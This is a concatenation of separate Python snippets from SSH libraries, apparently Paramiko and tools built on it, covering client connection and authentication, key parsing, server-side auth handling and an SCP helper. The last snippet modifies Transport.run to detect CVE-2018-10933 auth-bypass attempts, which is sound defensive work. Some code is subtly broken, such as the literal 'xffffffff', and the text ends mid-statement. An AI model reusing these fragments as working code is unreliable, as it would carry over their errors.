def connect(self, hostname, port=SSH_PORT, username=None, password=None, pkey=None, key_filename=None, timeout=None, allow_agent=True, look_for_keys=True): """ Connect to an SSH server and authenticate to it. The server's host key is checked against the system host keys (see L{load_system_host_keys}) and any local host keys (L{load_host_keys}). If the server's hostname is not found in either set of host keys, the missing host key policy is used (see L{set_missing_host_key_policy}). The default policy is to reject the key and raise an L{SSHException}. Authentication is attempted in the following order of priority: - The C{pkey} or C{key_filename} passed in (if any) - Any key we can find through an SSH agent - Any "id_rsa" or "id_dsa" key discoverable in C{~/.ssh/} - Plain username/password auth, if a password was given If a private key requires a password to unlock it, and a password is passed in, that password will be used to attempt to unlock the key. @param hostname: the server to connect to @type hostname: str @param port: the server port to connect to @type port: int @param username: the username to authenticate as (defaults to the current local username) @type username: str @param password: a password to use for authentication or for unlocking a private key @type password: str @param pkey: an optional private key to use for authentication @type pkey: L{PKey} @param key_filename: the filename, or list of filenames, of optional private key(s) to try for authentication @type key_filename: str or list(str) @param timeout: an optional timeout (in seconds) for the TCP connect @type timeout: float @param allow_agent: set to False to disable connecting to the SSH agent @type allow_agent: bool @param look_for_keys: set to False to disable searching for discoverable private key files in C{~/.ssh/} @type look_for_keys: bool @raise BadHostKeyException: if the server's host key could not be verified @raise AuthenticationException: if authentication failed @raise SSHException: if there was any other error connecting or establishing an SSH session @raise socket.error: if a socket error occurred while connecting """ for (family, socktype, proto, canonname, sockaddr) in socket.getaddrinfo(hostname, port, socket.AF_UNSPEC, socket.SOCK_STREAM): if socktype == socket.SOCK_STREAM: af = family addr = sockaddr break else: raise SSHException('No suitable address family for %s' % hostname) sock = socket.socket(af, socket.SOCK_STREAM) if timeout is not None: try: sock.settimeout(timeout) except: pass sock.connect(addr) t = self._transport = Transport(sock) if self._log_channel is not None: t.set_log_channel(self._log_channel) t.start_client() ResourceManager.register(self, t) server_key = t.get_remote_server_key() keytype = server_key.get_name() if port == SSH_PORT: server_hostkey_name = hostname else: server_hostkey_name = "[%s]:%d" % (hostname, port) our_server_key = self._system_host_keys.get(server_hostkey_name, {}).get(keytype, None) if our_server_key is None: our_server_key = self._host_keys.get(server_hostkey_name, {}).get(keytype, None) if our_server_key is None: # will raise exception if the key is rejected; let that fall out self._policy.missing_host_key(self, server_hostkey_name, server_key) # if the callback returns, assume the key is ok our_server_key = server_key if server_key != our_server_key: raise BadHostKeyException(hostname, server_key, our_server_key) if username is None: username = getpass.getuser() if key_filename is None: key_filenames = [] elif isinstance(key_filename, (str, unicode)): key_filenames = [key_filename] else: key_filenames = key_filename self._auth(username, password, pkey, key_filenames, allow_agent, look_for_keys)
def _auth(self, username, password, pkey, key_filenames, allow_agent, look_for_keys, gss_auth, gss_kex, gss_deleg_creds, gss_host): """ Try, in order: - The key passed in, if one was passed in. - Any key we can find through an SSH agent (if allowed). - Any "id_rsa", "id_dsa" or "id_ecdsa" key discoverable in ~/.ssh/ (if allowed). - Plain username/password auth, if a password was given. (The password might be needed to unlock a private key, or for two-factor authentication [for which it is required].) """ saved_exception = None two_factor = False allowed_types = [] # If GSS-API support and GSS-PI Key Exchange was performed, we attempt # authentication with gssapi-keyex. if gss_kex and self._transport.gss_kex_used: try: self._transport.auth_gssapi_keyex(username) return except Exception as e: saved_exception = e # Try GSS-API authentication (gssapi-with-mic) only if GSS-API Key # Exchange is not performed, because if we use GSS-API for the key # exchange, there is already a fully established GSS-API context, so # why should we do that again? if gss_auth: try: self._transport.auth_gssapi_with_mic(username, gss_host, gss_deleg_creds) return except Exception as e: saved_exception = e if pkey is not None: try: self._log( DEBUG, 'Trying SSH key %s' % hexlify(pkey.get_fingerprint())) allowed_types = self._transport.auth_publickey(username, pkey) two_factor = (allowed_types == ['password']) if not two_factor: return except SSHException as e: saved_exception = e if not two_factor: for key_filename in key_filenames: for pkey_class in (RSAKey, DSSKey, ECDSAKey): try: key = pkey_class.from_private_key_file( key_filename, password) self._log( DEBUG, 'Trying key %s from %s' % (hexlify(key.get_fingerprint()), key_filename)) self._transport.auth_publickey(username, key) two_factor = (allowed_types == ['password']) if not two_factor: return break except SSHException as e: saved_exception = e if not two_factor and allow_agent: if self._agent is None: self._agent = Agent() for key in self._agent.get_keys(): try: self._log( DEBUG, 'Trying SSH agent key %s' % hexlify(key.get_fingerprint())) # for 2-factor auth a successfully auth'd key will result in ['password'] allowed_types = self._transport.auth_publickey( username, key) two_factor = (allowed_types == ['password']) if not two_factor: return break except SSHException as e: saved_exception = e if not two_factor: keyfiles = [] rsa_key = os.path.expanduser('~/.ssh/id_rsa') dsa_key = os.path.expanduser('~/.ssh/id_dsa') ecdsa_key = os.path.expanduser('~/.ssh/id_ecdsa') if os.path.isfile(rsa_key): keyfiles.append((RSAKey, rsa_key)) if os.path.isfile(dsa_key): keyfiles.append((DSSKey, dsa_key)) if os.path.isfile(ecdsa_key): keyfiles.append((ECDSAKey, ecdsa_key)) # look in ~/ssh/ for windows users: rsa_key = os.path.expanduser('~/ssh/id_rsa') dsa_key = os.path.expanduser('~/ssh/id_dsa') ecdsa_key = os.path.expanduser('~/ssh/id_ecdsa') if os.path.isfile(rsa_key): keyfiles.append((RSAKey, rsa_key)) if os.path.isfile(dsa_key): keyfiles.append((DSSKey, dsa_key)) if os.path.isfile(ecdsa_key): keyfiles.append((ECDSAKey, ecdsa_key)) if not look_for_keys: keyfiles = [] for pkey_class, filename in keyfiles: try: key = pkey_class.from_private_key_file(filename, password) self._log( DEBUG, 'Trying discovered key %s in %s' % (hexlify(key.get_fingerprint()), filename)) # for 2-factor auth a successfully auth'd key will result in ['password'] allowed_types = self._transport.auth_publickey( username, key) two_factor = (allowed_types == ['password']) if not two_factor: return break except (SSHException, IOError) as e: saved_exception = e if password is not None: try: self._transport.auth_password(username, password) return except SSHException as e: saved_exception = e elif two_factor: raise SSHException('Two-factor authentication requires a password') # if we got an auth-failed exception earlier, re-raise it if saved_exception is not None: raise saved_exception raise SSHException('No authentication methods available')
def connect(self): conn_sock = self.__t.open_forward_agent_channel() if conn_sock is None: raise SSHException('lost ssh-agent') conn_sock.set_name('auth-agent') self._connect(conn_sock)
class PKey(object): """ Base class for public keys. """ # known encryption types for private key files: _CIPHER_TABLE = { 'DES-EDE3-CBC': { 'cipher': DES3, 'keysize': 24, 'blocksize': 8, 'mode': DES3.MODE_CBC } } def __init__(self, msg=None, data=None): """ Create a new instance of this public key type. If C{msg} is given, the key's public part(s) will be filled in from the message. If C{data} is given, the key's public part(s) will be filled in from the string. @param msg: an optional SSH L{Message} containing a public key of this type. @type msg: L{Message} @param data: an optional string containing a public key of this type @type data: str @raise SSHException: if a key cannot be created from the C{data} or C{msg} given, or no key was passed in. """ pass def __str__(self): """ Return a string of an SSH L{Message} made up of the public part(s) of this key. This string is suitable for passing to L{__init__} to re-create the key object later. @return: string representation of an SSH key message. @rtype: str """ return '' def __cmp__(self, other): """ Compare this key to another. Returns 0 if this key is equivalent to the given key, or non-0 if they are different. Only the public parts of the key are compared, so a public key will compare equal to its corresponding private key. @param other: key to compare to. @type other: L{PKey} @return: 0 if the two keys are equivalent, non-0 otherwise. @rtype: int """ hs = hash(self) ho = hash(other) if hs != ho: return cmp(hs, ho) return cmp(str(self), str(other)) def get_name(self): """ Return the name of this private key implementation. @return: name of this private key type, in SSH terminology (for example, C{"ssh-rsa"}). @rtype: str """ return '' def get_bits(self): """ Return the number of significant bits in this key. This is useful for judging the relative security of a key. @return: bits in the key. @rtype: int """ return 0 def can_sign(self): """ Return C{True} if this key has the private part necessary for signing data. @return: C{True} if this is a private key. @rtype: bool """ return False def get_fingerprint(self): """ Return an MD5 fingerprint of the public part of this key. Nothing secret is revealed. @return: a 16-byte string (binary) of the MD5 fingerprint, in SSH format. @rtype: str """ return MD5.new(str(self)).digest() def get_base64(self): """ Return a base64 string containing the public part of this key. Nothing secret is revealed. This format is compatible with that used to store public key files or recognized host keys. @return: a base64 string containing the public part of the key. @rtype: str @since: fearow """ return base64.encodestring(str(self)).replace('\n', '') def sign_ssh_data(self, randpool, data): """ Sign a blob of data with this private key, and return a L{Message} representing an SSH signature message. @param randpool: a secure random number generator. @type randpool: L{Crypto.Util.randpool.RandomPool} @param data: the data to sign. @type data: str @return: an SSH signature message. @rtype: L{Message} """ return '' def verify_ssh_sig(self, data, msg): """ Given a blob of data, and an SSH message representing a signature of that data, verify that it was signed with this key. @param data: the data that was signed. @type data: str @param msg: an SSH signature message @type msg: L{Message} @return: C{True} if the signature verifies correctly; C{False} otherwise. @rtype: boolean """ return False def from_private_key_file(cl, filename, password=None): """ Create a key object by reading a private key file. If the private key is encrypted and C{password} is not C{None}, the given password will be used to decrypt the key (otherwise L{PasswordRequiredException} is thrown). Through the magic of python, this factory method will exist in all subclasses of PKey (such as L{RSAKey} or L{DSSKey}), but is useless on the abstract PKey class. @param filename: name of the file to read. @type filename: str @param password: an optional password to use to decrypt the key file, if it's encrypted @type password: str @return: a new key object based on the given private key. @rtype: L{PKey} @raise IOError: if there was an error reading the file. @raise PasswordRequiredException: if the private key file is encrypted, and C{password} is C{None}. @raise SSHException: if the key file is invalid. @since: fearow """ key = cl(filename=filename, password=password) return key from_private_key_file = classmethod(from_private_key_file) def write_private_key_file(self, filename, password=None): """ Write private key contents into a file. If the password is not C{None}, the key is encrypted before writing. @param filename: name of the file to write. @type filename: str @param password: an optional password to use to encrypt the key file. @type password: str @raise IOError: if there was an error writing the file. @raise SSHException: if the key is invalid. @since: fearow """ raise exception('Not implemented in PKey') def _read_private_key_file(self, tag, filename, password=None): """ Read an SSH2-format private key file, looking for a string of the type C{"BEGIN xxx PRIVATE KEY"} for some C{xxx}, base64-decode the text we find, and return it as a string. If the private key is encrypted and C{password} is not C{None}, the given password will be used to decrypt the key (otherwise L{PasswordRequiredException} is thrown). @param tag: C{"RSA"} or C{"DSA"}, the tag used to mark the data block. @type tag: str @param filename: name of the file to read. @type filename: str @param password: an optional password to use to decrypt the key file, if it's encrypted. @type password: str @return: data blob that makes up the private key. @rtype: str @raise IOError: if there was an error reading the file. @raise PasswordRequiredException: if the private key file is encrypted, and C{password} is C{None}. @raise SSHException: if the key file is invalid. """ f = open(filename, 'r') lines = f.readlines() f.close() start = 0 while (start < len(lines)) and (lines[start].strip() != '-----BEGIN ' + tag + ' PRIVATE KEY-----'): start += 1 if start >= len(lines): raise SSHException('not a valid ' + tag + ' private key file') # parse any headers first headers = {} start += 1 while start < len(lines): l = lines[start].split(': ') if len(l) == 1: break headers[l[0].lower()] = l[1].strip() start += 1 # find end end = start while (lines[end].strip() != '-----END ' + tag + ' PRIVATE KEY-----') and (end < len(lines)): end += 1 # if we trudged to the end of the file, just try to cope. try: data = base64.decodestring(''.join(lines[start:end])) except binascii.Error, e: raise SSHException('base64 decoding error: ' + str(e)) if not headers.has_key('proc-type'): # unencryped: done return data # encrypted keyfile: will need a password if headers['proc-type'] != '4,ENCRYPTED': raise SSHException('Unknown private key structure "%s"' % headers['proc-type']) try: encryption_type, saltstr = headers['dek-info'].split(',') except: raise SSHException('Can\'t parse DEK-info in private key file') if not self._CIPHER_TABLE.has_key(encryption_type): raise SSHException('Unknown private key cipher "%s"' % encryption_type) # if no password was passed in, raise an exception pointing out that we need one if password is None: raise PasswordRequiredException('Private key file is encrypted') cipher = self._CIPHER_TABLE[encryption_type]['cipher'] keysize = self._CIPHER_TABLE[encryption_type]['keysize'] mode = self._CIPHER_TABLE[encryption_type]['mode'] salt = util.unhexify(saltstr) key = util.generate_key_bytes(MD5, salt, password, keysize) return cipher.new(key, mode, salt).decrypt(data)
def _parse_userauth_request(self, m): if not self.transport.server_mode: # er, uh... what? m = Message() m.add_byte(cMSG_USERAUTH_FAILURE) m.add_string('none') m.add_boolean(False) self.transport._send_message(m) return if self.authenticated: # ignore return username = m.get_text() service = m.get_text() method = m.get_text() self.transport._log(DEBUG, 'Auth request (type=%s) service=%s, username=%s' % (method, service, username)) if service != 'ssh-connection': self._disconnect_service_not_available() return if (self.auth_username is not None) and (self.auth_username != username): self.transport._log(WARNING, 'Auth rejected because the client attempted to change username in mid-flight') self._disconnect_no_more_auth() return self.auth_username = username # check if GSS-API authentication is enabled gss_auth = self.transport.server_object.enable_auth_gssapi() if method == 'none': result = self.transport.server_object.check_auth_none(username) elif method == 'password': changereq = m.get_boolean() password = m.get_binary() try: password = password.decode('UTF-8') except UnicodeError: # some clients/servers expect non-utf-8 passwords! # in this case, just return the raw byte string. pass if changereq: # always treated as failure, since we don't support changing passwords, but collect # the list of valid auth types from the callback anyway self.transport._log(DEBUG, 'Auth request to change passwords (rejected)') newpassword = m.get_binary() try: newpassword = newpassword.decode('UTF-8', 'replace') except UnicodeError: pass result = AUTH_FAILED else: result = self.transport.server_object.check_auth_password(username, password) elif method == 'publickey': sig_attached = m.get_boolean() keytype = m.get_text() keyblob = m.get_binary() try: key = self.transport._key_info[keytype](Message(keyblob)) except SSHException as e: self.transport._log(INFO, 'Auth rejected: public key: %s' % str(e)) key = None except: self.transport._log(INFO, 'Auth rejected: unsupported or mangled public key') key = None if key is None: self._disconnect_no_more_auth() return # first check if this key is okay... if not, we can skip the verify result = self.transport.server_object.check_auth_publickey(username, key) if result != AUTH_FAILED: # key is okay, verify it if not sig_attached: # client wants to know if this key is acceptable, before it # signs anything... send special "ok" message m = Message() m.add_byte(cMSG_USERAUTH_PK_OK) m.add_string(keytype) m.add_string(keyblob) self.transport._send_message(m) return sig = Message(m.get_binary()) blob = self._get_session_blob(key, service, username) if not key.verify_ssh_sig(blob, sig): self.transport._log(INFO, 'Auth rejected: invalid signature') result = AUTH_FAILED elif method == 'keyboard-interactive': lang = m.get_string() submethods = m.get_string() result = self.transport.server_object.check_auth_interactive(username, submethods) if isinstance(result, InteractiveQuery): # make interactive query instead of response self._interactive_query(result) return elif method == "gssapi-with-mic" and gss_auth: sshgss = GSSAuth(method) # Read the number of OID mechanisms supported by the client. # OpenSSH sends just one OID. It's the Kerveros V5 OID and that's # the only OID we support. mechs = m.get_int() # We can't accept more than one OID, so if the SSH client sends # more than one, disconnect. if mechs > 1: self.transport._log(INFO, 'Disconnect: Received more than one GSS-API OID mechanism') self._disconnect_no_more_auth() desired_mech = m.get_string() mech_ok = sshgss.ssh_check_mech(desired_mech) # if we don't support the mechanism, disconnect. if not mech_ok: self.transport._log(INFO, 'Disconnect: Received an invalid GSS-API OID mechanism') self._disconnect_no_more_auth() # send the Kerberos V5 GSSAPI OID to the client supported_mech = sshgss.ssh_gss_oids("server") # RFC 4462 says we are not required to implement GSS-API error # messages. See section 3.8 in http://www.ietf.org/rfc/rfc4462.txt while True: m = Message() m.add_byte(cMSG_USERAUTH_GSSAPI_RESPONSE) m.add_bytes(supported_mech) self.transport._send_message(m) ptype, m = self.transport.packetizer.read_message() if ptype == MSG_USERAUTH_GSSAPI_TOKEN: client_token = m.get_string() # use the client token as input to establish a secure # context. try: token = sshgss.ssh_accept_sec_context(self.gss_host, client_token, username) except Exception: result = AUTH_FAILED self._send_auth_result(username, method, result) raise if token is not None: m = Message() m.add_byte(cMSG_USERAUTH_GSSAPI_TOKEN) m.add_string(token) self.transport._send_message(m) else: raise SSHException("Client asked to handle paket %s" %MSG_NAMES[ptype]) # check MIC ptype, m = self.transport.packetizer.read_message() if ptype == MSG_USERAUTH_GSSAPI_MIC: break mic_token = m.get_string() try: sshgss.ssh_check_mic(mic_token, self.transport.session_id, username) except Exception: result = AUTH_FAILED self._send_auth_result(username, method, result) raise # TODO: Implement client credential saving. # The OpenSSH server is able to create a TGT with the delegated # client credentials, but this is not supported by GSS-API. result = AUTH_SUCCESSFUL self.transport.server_object.check_auth_gssapi_with_mic(username, result) elif method == "gssapi-keyex" and gss_auth: mic_token = m.get_string() sshgss = self.transport.kexgss_ctxt if sshgss is None: # If there is no valid context, we reject the authentication result = AUTH_FAILED self._send_auth_result(username, method, result) try: sshgss.ssh_check_mic(mic_token, self.transport.session_id, self.auth_username) except Exception: result = AUTH_FAILED self._send_auth_result(username, method, result) raise result = AUTH_SUCCESSFUL self.transport.server_object.check_auth_gssapi_keyex(username, result) else: result = self.transport.server_object.check_auth_none(username) # okay, send result self._send_auth_result(username, method, result)
def parse_next(self, ptype, m): if self.transport.server_mode and (ptype == _MSG_KEXDH_INIT): return self._parse_kexdh_init(m) elif not self.transport.server_mode and (ptype == _MSG_KEXDH_REPLY): return self._parse_kexdh_reply(m) raise SSHException('KexGroup1 asked to handle packet type %d' % ptype)
def _auth(self, username, password, pkey, key_filenames, allow_agent, look_for_keys, gss_auth, gss_kex, gss_deleg_creds, gss_host): """ Try, in order: - The key(s) passed in, if one was passed in. - Any key we can find through an SSH agent (if allowed). - Any "id_rsa", "id_dsa" or "id_ecdsa" key discoverable in ~/.ssh/ (if allowed). - Plain username/password auth, if a password was given. (The password might be needed to unlock a private key, or for two-factor authentication [for which it is required].) """ saved_exception = None two_factor = False allowed_types = set() two_factor_types = set(['keyboard-interactive', 'password']) # If GSS-API support and GSS-PI Key Exchange was performed, we attempt # authentication with gssapi-keyex. if gss_kex and self._transport.gss_kex_used: try: self._transport.auth_gssapi_keyex(username) return except Exception as e: saved_exception = e # Try GSS-API authentication (gssapi-with-mic) only if GSS-API Key # Exchange is not performed, because if we use GSS-API for the key # exchange, there is already a fully established GSS-API context, so # why should we do that again? if gss_auth: try: self._transport.auth_gssapi_with_mic(username, gss_host, gss_deleg_creds) return except Exception as e: saved_exception = e if pkey is not None: try: self._log( DEBUG, 'Trying SSH key %s' % hexlify(pkey.get_fingerprint())) allowed_types = set( self._transport.auth_publickey(username, pkey)) two_factor = (allowed_types & two_factor_types) if not two_factor: return except SSHException as e: saved_exception = e if not two_factor: for key_filename in key_filenames: for pkey_class in (RSAKey, DSSKey, ECDSAKey, Ed25519Key): try: key = self._key_from_filepath( key_filename, pkey_class, password, ) allowed_types = set( self._transport.auth_publickey(username, key)) two_factor = (allowed_types & two_factor_types) if not two_factor: return break except SSHException as e: saved_exception = e if not two_factor and allow_agent: if self._agent is None: self._agent = Agent() for key in self._agent.get_keys(): try: self._log( DEBUG, 'Trying SSH agent key %s' % hexlify( key.get_fingerprint())) # for 2-factor auth a successfully auth'd key password # will return an allowed 2fac auth method allowed_types = set( self._transport.auth_publickey(username, key)) two_factor = (allowed_types & two_factor_types) if not two_factor: return break except SSHException as e: saved_exception = e if not two_factor: keyfiles = [] for keytype, name in [ (RSAKey, "rsa"), (DSSKey, "dsa"), (ECDSAKey, "ecdsa"), (Ed25519Key, "ed25519"), ]: # ~/ssh/ is for windows for directory in [".ssh", "ssh"]: full_path = os.path.expanduser( "~/%s/id_%s" % (directory, name) ) if os.path.isfile(full_path): # TODO: only do this append if below did not run keyfiles.append((keytype, full_path)) if os.path.isfile(full_path + '-cert.pub'): keyfiles.append((keytype, full_path + '-cert.pub')) if not look_for_keys: keyfiles = [] for pkey_class, filename in keyfiles: try: key = self._key_from_filepath( filename, pkey_class, password, ) # for 2-factor auth a successfully auth'd key will result # in ['password'] allowed_types = set( self._transport.auth_publickey(username, key)) two_factor = (allowed_types & two_factor_types) if not two_factor: return break except (SSHException, IOError) as e: saved_exception = e if password is not None: try: self._transport.auth_password(username, password) return except SSHException as e: saved_exception = e elif two_factor: try: self._transport.auth_interactive_dumb(username) return except SSHException as e: saved_exception = e # if we got an auth-failed exception earlier, re-raise it if saved_exception is not None: raise saved_exception raise SSHException('No authentication methods available')
def _paramiko_transport_verify_key(self, host_key, sig): key = self._key_info[self.host_key_type](Message(host_key)) if key is None: raise SSHException('Unknown host key type') self.host_key = key
def scpGetAll(self, host, source, user=None, station=None): """ get remote files and copy in cache Dir . similar as 'scp user @ remote:file localfile' the retruned file name is added one timestamp suffix with a underscore like filename_20160627092530123456 The timestamp has format of 4 year + 2 month + 2 day + 2 hour + 2 minute + 2 second + 6 Microsecond :param str host: IP address of the host :param str source: the local files which should be in cache Dir, eg: /snlog/snmplog* :param str user: the user to login on remote. default is 'root' :param str station: string rcs host name the station to load files from (default is active pilot station on lab or just host) :raises SSHException: if cmd failed, raise exception :return: the local file list with full path :rtype: str Note: At least one getClient() must have been executed before calling this proc i.e. connection is already stored in self._connections >>> sshManager.scpGetAll(host, source) """ userSsh = 'root' if user is None else user client = self.getClient(host, user=userSsh) command = "ls " + source if station: tempDir = "/tmp/scp-" + str(randint(10000, 99999)) mkdirCmd = "mkdir " + tempDir returnCode, _, _ = self.run(host, mkdirCmd, user) if returnCode: raise SSHException(mkdirCmd + " failed on target " + host) returnCode, stdOut, _ = self.run(host, command, user, bladeRcsHostname=station) if returnCode: raise SSHException(command + " failed on target " + host) fileList = stdOut.rstrip().split() if station: for fileName in fileList: command = "scp " + station + ":" + fileName + " " + tempDir returnCode, _, _ = self.run(host, command, user) if returnCode: raise SSHException(command + " failed on target " + host) scpClient = SCPClient(client.get_transport()) _localDir = SshManager.cacheDir + os.sep + host _localFileList = [] if not os.path.isdir(_localDir): os.mkdir(_localDir) for fileName in fileList: _localPath = _localDir + os.sep + os.path.basename(fileName) remoteFile = fileName if station: remoteFile = tempDir + "/" + os.path.basename(fileName) _localPath += "_" + datetime.now().strftime('%Y%m%d%H%M%S%f') LOGGER.trace("scpClient.get(%s, %s) from %s@%s", remoteFile, _localPath, userSsh, host) scpClient.get(remoteFile, _localPath) _localFileList.append(_localPath) if station: command = "rm -fr " + tempDir returnCode, _, _ = self.run(host, command, user) if returnCode: raise SSHException(command + " failed on target " + host) return _localFileList
class DSSKey(PKey): """ Representation of a DSS key which can be used to sign an verify SSH2 data. """ def __init__(self, msg=None, data=None, filename=None, password=None, vals=None, file_obj=None): self.p = None self.q = None self.g = None self.y = None self.x = None if file_obj is not None: self._from_private_key(file_obj, password) return if filename is not None: self._from_private_key_file(filename, password) return if (msg is None) and (data is not None): msg = Message(data) if vals is not None: self.p, self.q, self.g, self.y = vals else: if msg is None: raise SSHException('Key object may not be empty') if msg.get_string() != 'ssh-dss': raise SSHException('Invalid key') self.p = msg.get_mpint() self.q = msg.get_mpint() self.g = msg.get_mpint() self.y = msg.get_mpint() self.size = util.bit_length(self.p) def __str__(self): m = Message() m.add_string('ssh-dss') m.add_mpint(self.p) m.add_mpint(self.q) m.add_mpint(self.g) m.add_mpint(self.y) return str(m) def __hash__(self): h = hash(self.get_name()) h = h * 37 + hash(self.p) h = h * 37 + hash(self.q) h = h * 37 + hash(self.g) h = h * 37 + hash(self.y) # h might be a long by now... return hash(h) def get_name(self): return 'ssh-dss' def get_bits(self): return self.size def can_sign(self): return self.x is not None def sign_ssh_data(self, rpool, data): digest = SHA.new(data).digest() dss = DSA.construct((long(self.y), long(self.g), long(self.p), long(self.q), long(self.x))) # generate a suitable k qsize = len(util.deflate_long(self.q, 0)) while True: k = util.inflate_long(rpool.get_bytes(qsize), 1) if (k > 2) and (k < self.q): break r, s = dss.sign(util.inflate_long(digest, 1), k) m = Message() m.add_string('ssh-dss') # apparently, in rare cases, r or s may be shorter than 20 bytes! rstr = util.deflate_long(r, 0) sstr = util.deflate_long(s, 0) if len(rstr) < 20: rstr = '\x00' * (20 - len(rstr)) + rstr if len(sstr) < 20: sstr = '\x00' * (20 - len(sstr)) + sstr m.add_string(rstr + sstr) return m def verify_ssh_sig(self, data, msg): if len(str(msg)) == 40: # spies.com bug: signature has no header sig = str(msg) else: kind = msg.get_string() if kind != 'ssh-dss': return 0 sig = msg.get_string() # pull out (r, s) which are NOT encoded as mpints sigR = util.inflate_long(sig[:20], 1) sigS = util.inflate_long(sig[20:], 1) sigM = util.inflate_long(SHA.new(data).digest(), 1) dss = DSA.construct( (long(self.y), long(self.g), long(self.p), long(self.q))) return dss.verify(sigM, (sigR, sigS)) def _encode_key(self): if self.x is None: raise SSHException('Not enough key information') keylist = [0, self.p, self.q, self.g, self.y, self.x] try: b = BER() b.encode(keylist) except BERException: raise SSHException('Unable to create ber encoding of key') return str(b) def write_private_key_file(self, filename, password=None): self._write_private_key_file('DSA', filename, self._encode_key(), password) def write_private_key(self, file_obj, password=None): self._write_private_key('DSA', file_obj, self._encode_key(), password) def generate(bits=1024, progress_func=None): """ Generate a new private DSS key. This factory function can be used to generate a new host key or authentication key. @param bits: number of bits the generated key should be. @type bits: int @param progress_func: an optional function to call at key points in key generation (used by C{pyCrypto.PublicKey}). @type progress_func: function @return: new private key @rtype: L{DSSKey} """ randpool.stir() dsa = DSA.generate(bits, randpool.get_bytes, progress_func) key = DSSKey(vals=(dsa.p, dsa.q, dsa.g, dsa.y)) key.x = dsa.x return key generate = staticmethod(generate) ### internals... def _from_private_key_file(self, filename, password): data = self._read_private_key_file('DSA', filename, password) self._decode_key(data) def _from_private_key(self, file_obj, password): data = self._read_private_key('DSA', file_obj, password) self._decode_key(data) def _decode_key(self, data): # private key file contains: # DSAPrivateKey = { version = 0, p, q, g, y, x } try: keylist = BER(data).decode() except BERException, x: raise SSHException('Unable to parse key file: ' + str(x)) if (type(keylist) is not list) or (len(keylist) < 6) or (keylist[0] != 0): raise SSHException( 'not a valid DSA private key file (bad ber encoding)') self.p = keylist[1] self.q = keylist[2] self.g = keylist[3] self.y = keylist[4] self.x = keylist[5] self.size = util.bit_length(self.p)
def open_ssh(user, host, key=None, port=22): """Opens an ssh connection to host. Parameters: ---------- user : {str} Username to use host : {str} Host to connect to key : {str}, optional Path to ssh keyfile (the default is None, meaning the standard location '~/.ssh/id_rsa' will be checked) port : {int}, optional Port number to connect to (the default is 22) Raises ------ FileNotFoundError If keyfile does not exist SSHException General exception raised if anything goes wrong during ssh connection Returns ------- paramiko.SSHClient Open ssh connection. """ logger = logging.getLogger(__name__) if not key: key = os.path.expanduser('~/.ssh/id_rsa') if not os.path.isfile(key): logger.error('{} is not a valid ssh key file...'.format(key)) raise FileNotFoundError(key) ssh = pm.SSHClient() # Append username & hostname attributes to ssh class ssh.user, ssh.host = user, host try: ssh.load_system_host_keys(os.path.expanduser('~/.ssh/known_hosts')) except (IOError, FileNotFoundError): ssh.load_system_host_keys() ssh.set_missing_host_key_policy(pm.WarningPolicy()) try: ssh.connect(hostname=host, port=port, username=user, key_filename=key, timeout=5, look_for_keys=False) # Test connection ssh.exec_command('ls', timeout=5) except (AuthenticationException, BadAuthenticationType, BadHostKeyException, ChannelException, NoValidConnectionsError, PasswordRequiredException, SSHException, PartialAuthentication, ProxyCommandFailure, timeout, gaierror) as err: logger.error('Could not connect to host {:s}: {}...'.format(host, err)) # Raise general exception to be catched outside raise SSHException(err) return ssh
def run(self): """ Run function from paramiko.Transport. This function was copied from Paramiko (paramiko.Transport) in order to implement the CVE-2018-10933 vulnerability. The only change in this function is where we added if ptype == MSG_USERAUTH_SUCCESS. """ # noqa: W503, E722 # (use the exposed "run" method, because if we specify a thread target # of a private method, threading.Thread will keep a reference to it # indefinitely, creating a GC cycle and not letting Transport ever be # GC'd. it's a bug in Thread.) # Hold reference to 'sys' so we can test sys.modules to detect # interpreter shutdown. self.sys = sys # active=True occurs before the thread is launched, to avoid a race _active_threads.append(self) tid = hex(long(id(self)) & xffffffff) if self.server_mode: self._log(DEBUG, "starting thread (server mode): {}".format(tid)) else: self._log(DEBUG, "starting thread (client mode): {}".format(tid)) try: try: self.packetizer.write_all(b(self.local_version + "\r\n")) self._log( DEBUG, "Local version/idstring: {}".format(self.local_version), ) # noqa self._check_banner() # The above is actually very much part of the handshake, but # sometimes the banner can be read but the machine is not # responding, for example when the remote ssh daemon is loaded # in to memory but we can not read from the disk/spawn a new # shell. # Make sure we can specify a timeout for the initial handshake. # Re-use the banner timeout for now. self.packetizer.start_handshake(self.handshake_timeout) self._send_kex_init() self._expect_packet(MSG_KEXINIT) while self.active: if self.packetizer.need_rekey() and not self.in_kex: self._send_kex_init() try: ptype, m = self.packetizer.read_message() except NeedRekeyException: continue # START - This is the part the implements the detection of CVE-2018-10933 if ptype == MSG_USERAUTH_SUCCESS: self.alert(self.sock) continue # END - This is the part the implements the detection of CVE-2018-10933 if ptype == MSG_IGNORE: continue elif ptype == MSG_DISCONNECT: self._parse_disconnect(m) break elif ptype == MSG_DEBUG: self._parse_debug(m) continue if len(self._expected_packet) > 0: if ptype not in self._expected_packet: raise SSHException( "Expecting packet from {!r}, got {:d}".format( self._expected_packet, ptype)) # noqa self._expected_packet = tuple() if (ptype >= 30) and (ptype <= 41): self.kex_engine.parse_next(ptype, m) continue if ptype in self._handler_table: error_msg = self._ensure_authed(ptype, m) if error_msg: self._send_message(error_msg) else: self._handler_table[ptype](self, m) elif ptype in self._channel_handler_table: chanid = m.get_int() chan = self._channels.get(chanid) if chan is not None: self._channel_handler_table[ptype](chan, m) elif chanid in self.channels_seen: self._log( DEBUG, "Ignoring message for dead channel {:d}". format( # noqa chanid), ) else: self._log( ERROR, "Channel request for unknown channel {:d}". format( # noqa chanid), ) break elif (self.auth_handler is not None and # noqa: W504 ptype in self.auth_handler._handler_table): handler = self.auth_handler._handler_table[ptype] handler(self.auth_handler, m) if len(self._expected_packet) > 0: continue else: # Respond with "I don't implement this particular # message type" message (unless the message type was # itself literally MSG_UNIMPLEMENTED, in which case, we # just shut up to avoid causing a useless loop). name = MSG_NAMES[ptype] warning = "Oops, unhandled type {} ({!r})".format( ptype, name) self._log(WARNING, warning) if ptype != MSG_UNIMPLEMENTED: msg = Message() msg.add_byte(cMSG_UNIMPLEMENTED) msg.add_int(m.seqno) self._send_message(msg) self.packetizer.complete_handshake() except SSHException as e: self._log(ERROR, "Exception: " + str(e)) self._log(ERROR, util.tb_strings()) self.saved_exception = e except EOFError as e: self._log(DEBUG, "EOF in transport thread") self.saved_exception = e except socket.error as e: if type(e.args) is tuple: if e.args: emsg = "{} ({:d})".format(e.args[1], e.args[0]) else: # empty tuple, e.g. socket.timeout emsg = str(e) or repr(e) else: emsg = e.args self._log(ERROR, "Socket exception: " + emsg) self.saved_exception = e except 